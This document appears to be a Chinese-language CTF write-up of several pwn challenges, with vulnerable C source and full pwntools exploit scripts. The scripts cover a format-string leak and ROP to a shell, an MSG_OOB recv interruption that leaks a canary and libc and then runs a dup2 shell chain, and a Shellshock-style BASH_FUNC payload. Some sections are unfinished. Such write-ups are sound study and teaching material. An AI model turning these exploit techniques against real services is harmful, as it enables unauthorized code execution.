# Verifmt
## Information
- Category: Pwn
## Description
> Verifmt is a format string converter with a powerful verifier.
## Write-up
题目给了源码,还是很方便的:
```c
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int verify_fmt(const char *fmt, size_t n_args) {
size_t argcnt = 0;
size_t len = strlen(fmt);
for (size_t i = 0; i < len; i++) {
if (fmt[i] == '%') {
if (fmt[i+1] == '%') {
i++;
continue;
}
if (isdigit(fmt[i+1])) {
puts("[-] Positional argument not supported");
return 1;
}
if (argcnt >= n_args) {
printf("[-] Cannot use more than %lu specifiersn", n_args);
return 1;
}
argcnt++;
}
}
return 0;
}
int main() {
size_t n_args;
long args[4];
char fmt[256];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
while (1) {
/* Get arguments */
printf("# of args: ");
if (scanf("%lu", &n_args) != 1) {
return 1;
}
if (n_args > 4) {
puts("[-] Maximum of 4 arguments supported");
continue;
}
memset(args, 0, sizeof(args));
for (size_t i = 0; i < n_args; i++) {
printf("args[%lu]: ", i);
if (scanf("%ld", args + i) != 1) {
return 1;
}
}
/* Get format string */
while (getchar() != 'n');
printf("Format string: ");
if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
return 1;
}
/* Verify format string */
if (verify_fmt(fmt, n_args)) {
continue;
}
/* Enjoy! */
printf(fmt, args[0], args[1], args[2], args[3]);
}
return 0;
}
```
发现只是对格式化字符串做了一些限制,不能利用位置参数泄漏指定值,再者就是最多只能
使用四个格式化字符串标志符(以 `%` 打头算一个),且格式化字符串格式也是固定为 `p
rintf(fmt, args[0], args[1], args[2], args[3]);`,但是传入 `printf` 的所有参数都
是可控的。
这题基本上只要搞明白怎么泄漏地址就赢了,涉及到一个 `*` 参数的概念,如果我们输入
`%*.*p%*.*p`,这四个 `*` 就会分别用 `args[0] ~ args[3]` 为参数,且 `p` 也各占一
个参数位,此时我们只使用了两个 `%` 标识符,就已经消耗了六个参数,另外还剩两次机
会。好巧不巧,栈上就有一个地址,正好是第七个参数,所以直接再加一个 `%p` 泄漏即可
。
泄漏了栈地址我们就知道返回地址,调试发现返回地址处保存的正好是 libc 地址,我们可
以直接控制 `rsi` 为返回地址,`fmt` 为 `%s` 以此泄漏 libc,之后就随便打打了。
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "./chall_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def set_args(cnt, *args_values, fmt):
target.sendlineafter(b"# of args: ", str(cnt).encode())
for i, val in enumerate(args_values):
if val is not None:
prompt = f"args[{i}]: "
target.sendlineafter(prompt.encode(), str(val).encode())
# raw_input("DEBUG")
target.sendlineafter(b"Format string: ", fmt)
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, targets
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
targets = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
target = targets[0]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
set_args(4, 1, 2, 3, 4, fmt=b"%*.*p%*.*p %p")
target.recvuntil(b" ")
stack = int(target.recvline(), 16)
pie = stack + 0x158
ret = stack + 0x170
target.success(f"stack: {hex(stack)}")
target.success(f"pie: {hex(pie)}")
target.success(f"ret: {hex(ret)}")
set_args(1, ret, fmt=b"%s")
libc.address = int.from_bytes(target.recv(0x6), "little") - 0x29D90
set_args(1, pie, fmt=b"%s")
elf.address = int.from_bytes(target.recv(0x6), "little") - 0x1160
target.success(f"libc: {hex(libc.address)}")
target.success(f"pie: {hex(elf.address)}")
pop_rdi_ret = elf.address + 0x0000000000001282
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
align = elf.address + 0x000000000000101A
set_args(3, pop_rdi_ret & 0xFFFF, 0, ret, fmt=b"%*c%hn")
set_args(3, (pop_rdi_ret >> 16) & 0xFFFF, 0, ret + 2, fmt=b"%*c%hn")
set_args(3, (pop_rdi_ret >> 32) & 0xFFFF, 0, ret + 4, fmt=b"%*c%hn")
set_args(3, binsh & 0xFFFF, 0, ret + 0x8, fmt=b"%*c%hn")
set_args(3, (binsh >> 16) & 0xFFFF, 0, ret + 0x8 + 2, fmt=b"%*c%hn")
set_args(3, (binsh >> 32) & 0xFFFF, 0, ret + 0x8 + 4, fmt=b"%*c%hn")
set_args(3, align & 0xFFFF, 0, ret + 0x10, fmt=b"%*c%hn")
set_args(3, (align >> 16) & 0xFFFF, 0, ret + 0x10 + 2, fmt=b"%*c%hn")
set_args(3, (align >> 32) & 0xFFFF, 0, ret + 0x10 + 4, fmt=b"%*c%hn")
set_args(3, system & 0xFFFF, 0, ret + 0x18, fmt=b"%*c%hn")
set_args(3, (system >> 16) & 0xFFFF, 0, ret + 0x18 + 2, fmt=b"%*c%hn")
set_args(3, (system >> 32) & 0xFFFF, 0, ret + 0x18 + 4, fmt=b"%*c%hn")
target.sendlineafter(b"# of args: ", b"A")
target.interactive()
if __name__ == "__main__":
main()
```
# Stack Prelude
## Information
- Category: Pwn
## Description
> It is either easy or impossible.
## Write-up
比赛期间没做出来,赛后复现的,纯纯的经验题好吧……
题目源码如下:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv) {
struct sockaddr_in cli, addr = {0};
socklen_t clen;
int cfd, sfd = -1, yes = 1;
ssize_t n;
char buf[0x100];
unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);
if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
goto err;
}
if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (listen(sfd, 1) < 0) {
perror("listen");
goto err;
}
clen = sizeof(cli);
if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
perror("accept");
goto err;
}
while (1) {
n = 0;
recv(cfd, &n, sizeof(ssize_t), MSG_WAITALL);
if (n <= 0 || n >= 0x200)
break;
recv(cfd, buf, n, MSG_WAITALL);
send(cfd, buf, n, 0);
}
return 0;
err:
if (sfd >= 0) close(sfd);
return 1;
}
```
这题是个一次只能处理一个请求的 socket 服务器,先说说我当时取得的成果吧……我是发现
可以发送半闭 FIN 包使 `recv` 函数不接收完整的数据直接返回,由于没有检查 `recv`
函数的返回值,后面的 `send` 会泄漏栈数据。
这里提到的半闭 FIN 包可以通过 `target.shutdown("write")` 发送关闭输入的半闭包,
保留输出,但是这么做的问题就在于,关闭了输入后在 `send` 结束回到 while 循环头后
`recv` 接收不到数据,返回 0,退出循环,结束程序。所以即使我们泄漏了数据,要是不
能继续和程序交互的话也只能是干瞪眼……
~~草啊,其实当时是很有希望做出这道题的,但是没有想过我可以给自己发送的数据加 fla
gs,如果能想到这点的话这题就秒了……感觉自己是猪头,我连 FIN 都想到了,就是没想到
flags,这难道不是一个很自然的想法吗??气死我了 smh(~~
现场学能绕过 `MSG_WAITALL` 的方法,总结为如下几种情况:
1. 对端关闭连接 (FIN)
2. 对端异常断开 (RST)
3. 中断信号
4. 超时(前提是设置了 `SO_RCVTIMEO` flag)
5. 其它奇奇怪怪的致命错误
FIN 可以排除了,因为发了这个后续不能继续操作,超时也可以排除,因为没设置这个 fla
g,我们可以重点研究一下有哪些可以由 client 端发送的 flag 会触发中断信号,这里就
不赘述了,直接说结论 —— `MSG_OOB`,这个 flag 表示 `out-of-band`,如果用在 `send`
,就代表会使用一个额外的 `urgent byte`,表示外带数据,接收端处理 TCP 数据包发现
urgent byte 会触发 `SIGURG` 信号,这个信号属于异步事件,可以打断带有 `MSG_WAITAL
L` flag 的 `recv` 函数。
现在我们泄漏了数据,又能维持交互,那剩下的应该没啥好说的了,只需要注意 socket se
rver 需要让 stdin 和 stdout 指向 socket 通道就好了,不然无法和返回的 shell 交互
。
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
constants,
context,
flat,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "./chall_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch(argv=None, envp=None):
global target, thread
if argv is None:
argv = [FILE]
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(argv, env=envp)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(argv, env=envp)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch([FILE, "1337"])
thread[0].sendline(flat(0x120))
thread[0].sock.send(b"A" * 2, constants.MSG_OOB)
resp = thread[0].recv(0x120)
canary = int.from_bytes(resp[0x108:0x110], "little")
libc.address = int.from_bytes(resp[0x118:0x120], "little") - 0x2A1CA
thread[0].success(f"canary: {hex(canary)}")
thread[0].success(f"libc: {hex(libc.address)}")
raw_input("DEBUG")
thread[0].sendline(flat(0x188))
pop_rdi_ret = libc.address + 0x000000000010F78B
pop_rsi_ret = libc.address + 0x0000000000110A7D
binsh = next(libc.search(b"/bin/sh"))
dup2 = libc.sym["dup2"]
system = libc.sym["system"]
align = pop_rdi_ret + 1
payload = flat(
{
0x108 - 1: canary,
0x118 - 1: pop_rdi_ret,
0x120 - 1: 4,
0x128 - 1: pop_rsi_ret,
0x130 - 1: 0,
0x138 - 1: dup2,
0x140 - 1: pop_rdi_ret,
0x148 - 1: 4,
0x150 - 1: pop_rsi_ret,
0x158 - 1: 1,
0x160 - 1: dup2,
0x168 - 1: align,
0x170 - 1: pop_rdi_ret,
0x178 - 1: binsh,
0x180 - 1: system,
},
filler=b"x00",
)
raw_input("DEBUG")
thread[0].sendline(payload)
thread[0].sendline(flat(0x200))
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Stack Impromptu
## Information
- Category: Pwn
## Description
> The word impossible is not in my dictionary.
## Write-up
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>
void fatal(const char *msg) {
perror(msg);
pthread_exit(NULL);
}
int server_read(int& fd) {
size_t size;
char buf[0x40];
memset(buf, 0, sizeof(buf));
if (read(fd, &size, sizeof(size)) != sizeof(size)
|| size > 0x100
|| read(fd, buf, size) < size)
goto err;
write(fd, buf, size);
return 0;
err:
close(fd);
fatal("Could not receive data (read)");
return 1;
}
void* server_main(void* arg) {
int fd = (int)((intptr_t)arg);
while (server_read(fd) == 0);
return NULL;
}
int main(int argc, char** argv) {
pthread_t th;
struct sockaddr_in cli, addr = { 0 };
socklen_t clen;
int cfd, sfd = -1, yes = 1;
unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);
if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
goto err;
}
if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (listen(sfd, 5) < 0) {
perror("listen");
goto err;
}
while (1) {
clen = sizeof(cli);
if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
perror("accept");
goto err;
}
pthread_create(&th, NULL, server_main, (void*)((intptr_t)cfd));
pthread_detach(th);
}
return 0;
err:
if (sfd >= 0) close(sfd);
return 1;
}
```
待复现。
## Exploit
# Stack Rhapsody
## Information
- Category: Pwn
## Description
> Unknown
## Write-up
```c
// gcc -Wall -Wextra -fstack-protector-all -fcf-protection=full -mshstk -fPIE -p
ie -Wl,-z,relro,-z,now chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf[0x10000];
fgets(buf, 0x100000, stdin);
system("echo Are you a good pwner?");
return 0;
}
```
看似不可能的挑战,真的,不可能吗?[Shellshock](<https://en.wikipedia.org/wiki/Sh
ellshock_(software_bug)>)
有时间我会单独写一篇博客详撕源码,这里就只留 exp 了/逃
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
process,
raw_input,
remote,
)
from pwnlib.util.iters import pad
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "./chall"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch(argv=None, envp=None):
global target, thread
if argv is None:
argv = [FILE]
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(argv, env=envp)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
env = b"BASH_FUNC_echo%%=() { /bin/sh; }0".ljust(0x30, b"x00")
payload = (b"A" * 0xA + env * ((0x10148 - 0xA) // len(env))).ljust(0x10148,
b"x00")
target.sendline(payload)
target.recvuntil(b"Are you a good pwner?", timeout=0.5)
target.interactive()
if __name__ == "__main__":
main()
```
# Scream
## Information
- Category: Pwn
## Description
> Keep the secret.
## Write-up
待复现。
## Exploit
# EDU
## Information
- Category: Pwn
## Description
> QEMU provides an educational device for learning VM escape.
> This bug is intentionally made for educational purpose, right? …… Right?
>
> <https://www.qemu.org/docs/master/specs/edu.html>
## Write-up
待复现。
## Exploit